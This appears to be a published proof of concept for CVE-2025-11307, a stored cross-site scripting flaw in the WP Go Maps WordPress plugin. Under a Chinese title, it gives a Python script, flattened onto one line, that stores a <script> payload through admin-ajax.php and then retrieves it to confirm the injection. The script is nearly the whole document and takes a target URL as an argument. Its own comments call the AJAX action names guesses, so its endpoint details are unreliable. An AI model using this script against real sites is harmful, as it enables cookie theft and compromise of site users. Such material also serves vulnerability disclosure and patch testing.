CVE-2025-11307: WP Go Maps插件存储型XSS漏洞

import requests import sys # CVE-2025-11307 PoC - WP Go Maps Stored XSS # Target: WordPress site with vulnerable WP Go Maps plugin (< 9.0.48) TARGET_URL = "http://target-wordpress-site.com" XSS_PAYLOAD = "<script>alert(document.cookie)</script>" def exploit_stored_xss(): """ Step 1: Inject XSS payload via first AJAX endpoint The plugin does not sanitize user input, allowing arbitrary HTML/JS injection """ inject_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # First AJAX endpoint - inject malicious payload inject_data = { 'action': 'wpgmza_save_map', # Example action, adjust based on actual endpoint 'map_id': '1', 'name': XSS_PAYLOAD, # Unsanitized input stored in database 'other_field': 'malicious_data' } try: response = requests.post(inject_url, data=inject_data, timeout=10) print(f"[+] Payload injection response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Injection failed: {e}") """ Step 2: Trigger XSS via second AJAX endpoint Data is retrieved and output without escaping """ retrieve_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Second AJAX endpoint - retrieve and display stored data retrieve_data = { 'action': 'wpgmza_get_map', # Example action, adjust based on actual endpoint 'map_id': '1' } try: response = requests.get(retrieve_url, params=retrieve_data, timeout=10) if XSS_PAYLOAD in response.text: print("[+] XSS payload found in response - vulnerability confirmed!") print("[+] Payload will execute when page is viewed by any user") else: print("[-] Payload not found - may require different endpoint") except requests.exceptions.RequestException as e: print(f"[-] Retrieval failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Testing CVE-2025-11307 on {TARGET_URL}") exploit_stored_xss()